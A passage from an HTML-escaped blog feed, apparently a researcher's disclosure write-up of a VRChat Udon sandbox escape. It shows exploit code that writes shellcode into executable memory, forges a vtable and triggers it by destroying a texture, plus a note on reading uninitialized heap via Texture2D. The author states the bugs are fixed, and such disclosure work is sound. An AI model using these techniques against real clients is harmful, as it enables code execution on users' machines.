&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;{&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt;    Debug&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #DCDCAA;&quot;&gt;LogError&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #CE9178;&quot;&gt;&amp;quot;LoadLibraryExW isn&amp;#39;t hooked by GameOverlayRenderer64&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;);&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #C586C0;&quot;&gt;    return&lt;&#x2F;span&gt;&lt;span&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;}&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #569CD6;&quot;&gt;ulong&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt; offset&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; (&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt;hook&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt; &amp;gt;&amp;gt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5CEA8;&quot;&gt; 8&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt; &amp;amp;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5CEA8;&quot;&gt; 0xFFFFFFFF&lt;&#x2F;span&gt;&lt;span&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #569CD6;&quot;&gt;ulong&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt; target&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt; hook_addr&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt; +&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt; offset&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt; +&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5CEA8;&quot;&gt; 5&lt;&#x2F;span&gt;&lt;span&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #C586C0;&quot;&gt;if&lt;&#x2F;span&gt;&lt;span&gt; ((&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt;offset&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt; &amp;amp;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5CEA8;&quot;&gt; 0x80000000&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt; !=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5CEA8;&quot;&gt; 0&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt;    target&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt; -=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5CEA8;&quot;&gt; 0x100000000&lt;&#x2F;span&gt;&lt;span&gt;;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #6A9955;&quot;&gt; &#x2F;&#x2F; UdonSharp doesn&amp;#39;t support unchecked signed &amp;lt;-&amp;gt; unsigned conversion and it&amp;#39;s REALLY ANNOYING&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #6A9955;&quot;&gt;&#x2F;&#x2F; Write shellcode to the RWX region&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #C586C0;&quot;&gt;for&lt;&#x2F;span&gt;&lt;span&gt; (&lt;&#x2F;span&gt;&lt;span style=&quot;color: #569CD6;&quot;&gt;int&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt; i&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5CEA8;&quot;&gt; 0&lt;&#x2F;span&gt;&lt;span&gt;;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt; i&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt; &amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt; shellcode&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt;Length&lt;&#x2F;span&gt;&lt;span&gt;;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt; i&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt;++&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;{&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #6A9955;&quot;&gt;    &#x2F;&#x2F; Replace placeholder values with addresses known at runtime&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #569CD6;&quot;&gt;    ulong&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt; val&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt; shellcode&lt;&#x2F;span&gt;&lt;span&gt;[&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt;i&lt;&#x2F;span&gt;&lt;span&gt;];&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #C586C0;&quot;&gt;    if&lt;&#x2F;span&gt;&lt;span&gt; (&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt;val&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt; ==&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5CEA8;&quot;&gt; 0x4141414141414141&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt;        val&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #DCDCAA;&quot;&gt; read64&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt;unityPlayerBase&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt; +&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt; GETMODULEHANDLEA_RVA&lt;&#x2F;span&gt;&lt;span&gt;);&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #C586C0;&quot;&gt;    else if&lt;&#x2F;span&gt;&lt;span&gt; (&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt;val&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt; ==&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5CEA8;&quot;&gt; 0x4242424242424242&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt;        val&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #DCDCAA;&quot;&gt; read64&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt;unityPlayerBase&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt; +&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt; GETPROCADDRESS_RVA&lt;&#x2F;span&gt;&lt;span&gt;);&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #DCDCAA;&quot;&gt;    write64&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt;target&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt; +&lt;&#x2F;span&gt;&lt;span&gt; (&lt;&#x2F;span&gt;&lt;span style=&quot;color: #569CD6;&quot;&gt;ulong&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt;i&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt; *&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5CEA8;&quot;&gt; 8&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt; val&lt;&#x2F;span&gt;&lt;span&gt;);&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;}&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #6A9955;&quot;&gt;&#x2F;&#x2F; Put a fake vtable somewhere&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #6A9955;&quot;&gt;&#x2F;&#x2F; This points Texture3D::MainThreadCleanup to the shellcode&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #DCDCAA;&quot;&gt;write64&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt;unityPlayerBase&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt; +&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt; SCRATCH_RVA&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt; +&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5CEA8;&quot;&gt; 8&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt; target&lt;&#x2F;span&gt;&lt;span&gt;);&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #6A9955;&quot;&gt;&#x2F;&#x2F; Overwrite the arbitrary r&#x2F;w texture&amp;#39;s vtable pointer&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #DCDCAA;&quot;&gt;write32Rel&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt;arbTexOffset&lt;&#x2F;span&gt;&lt;span&gt;, (&lt;&#x2F;span&gt;&lt;span style=&quot;color: #569CD6;&quot;&gt;uint&lt;&#x2F;span&gt;&lt;span&gt;)((&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt;unityPlayerBase&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt; +&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt; SCRATCH_RVA&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt; &amp;amp;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5CEA8;&quot;&gt; 0xFFFFFFFF&lt;&#x2F;span&gt;&lt;span&gt;));&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #DCDCAA;&quot;&gt;write32Rel&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt;arbTexOffset&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt; +&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5CEA8;&quot;&gt; 4&lt;&#x2F;span&gt;&lt;span&gt;, (&lt;&#x2F;span&gt;&lt;span style=&quot;color: #569CD6;&quot;&gt;uint&lt;&#x2F;span&gt;&lt;span&gt;)((&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt;unityPlayerBase&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt; +&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt; SCRATCH_RVA&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt; &amp;gt;&amp;gt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5CEA8;&quot;&gt; 32&lt;&#x2F;span&gt;&lt;span&gt;));&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #6A9955;&quot;&gt;&#x2F;&#x2F; Call MainThreadCleanup by destroying the texture and run the shellcode!&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #DCDCAA;&quot;&gt;Destroy&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt;arbTex&lt;&#x2F;span&gt;&lt;span&gt;);&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;&lt;iframe width=&quot;100%&quot; src=&quot;https:&#x2F;&#x2F;www.youtube-nocookie.com&#x2F;embed&#x2F;zQepvGpZFJc&quot; frameborder=&quot;0&quot; allowfullscreen style=&quot;aspect-ratio: 16&#x2F;10;&quot; referrerpolicy=&quot;strict-origin-when-cross-origin&quot;&gt;&lt;&#x2F;iframe&gt;
&lt;p&gt;&lt;em&gt;(as for the title of the video, this really &lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;www.youtube.com&#x2F;watch?v=3L89In9bzEA&quot;&gt;wasn&#x27;t the first time I did this&lt;&#x2F;a&gt;, but that writeup is lost to time...)&lt;&#x2F;em&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;em&gt;&lt;strong&gt;To Udon devs:&lt;&#x2F;strong&gt; This exploit was why &lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;feedback.vrchat.com&#x2F;udon&#x2F;p&#x2F;the-texture2d-constructor-suddenly-does-not-support-most-textureformats&quot;&gt;this regression&lt;&#x2F;a&gt; happened. A check was added for the texture constructors to make sure the size wouldn&#x27;t overflow, but not every format was handled in the check. Sorry about that :(&lt;&#x2F;em&gt;&lt;&#x2F;p&gt;
&lt;h1 id=&quot;honorable-mention&quot;&gt;Honorable Mention&lt;a class=&quot;zola-anchor&quot; href=&quot;#honorable-mention&quot; aria-label=&quot;Anchor link for: honorable-mention&quot;&gt;&lt;i class=&quot;fas fa-link&quot;&gt;&lt;&#x2F;i&gt;&lt;&#x2F;a&gt; 
&lt;&#x2F;h1&gt;
&lt;p&gt;This wasn&#x27;t something I used in the final exploit, but I thought it was interesting enough to mention. While experimenting with large texture sizes, I noticed an interesting parameter in &lt;code&gt;Texture2D&lt;&#x2F;code&gt;&#x27;s constructor:&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;img&#x2F;vrcescape&#x2F;susparam1.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;Then I checked what was exposed in Udon:&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;img&#x2F;vrcescape&#x2F;susparam2.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;And I gave it a shot:&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;img&#x2F;vrcescape&#x2F;uninit.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;Yes, this really did allow reading uninitialized heap memory via intended Unity behavior. Thankfully, I didn&#x27;t see any other obvious API whitelist oversights like this. &lt;strong&gt;Although these constructors are still exposed in the latest version, they now throw an exception if &lt;code&gt;createUninitialized&lt;&#x2F;code&gt; is enabled.&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;Thanks to Tupper, the rest of the VRChat team, and Unity for their cooperation in getting these vulnerabilities fixed.&lt;&#x2F;p&gt;
</content>
	</entry>
</feed>
